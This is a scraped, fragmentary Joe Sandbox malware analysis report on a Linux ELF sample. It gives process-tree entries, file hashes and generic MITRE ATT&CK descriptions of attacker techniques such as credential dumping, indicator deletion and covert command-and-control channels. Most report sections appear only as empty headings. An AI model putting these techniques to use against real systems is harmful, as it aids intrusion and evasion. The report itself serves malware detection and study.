MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report wbUtbKZmxZ.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: wbUtbKZmxZ.elf PID: 6221, Parent PID: 6127

General

Process Activities

Process Forked

Prctl Requested

Chronological Activities

Analysis Process: wbUtbKZmxZ.elf PID: 6222, Parent PID: 6221

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 6222, Parent PID: 6221

General

File Activities

File Opened

Linux Analysis Report
wbUtbKZmxZ.elf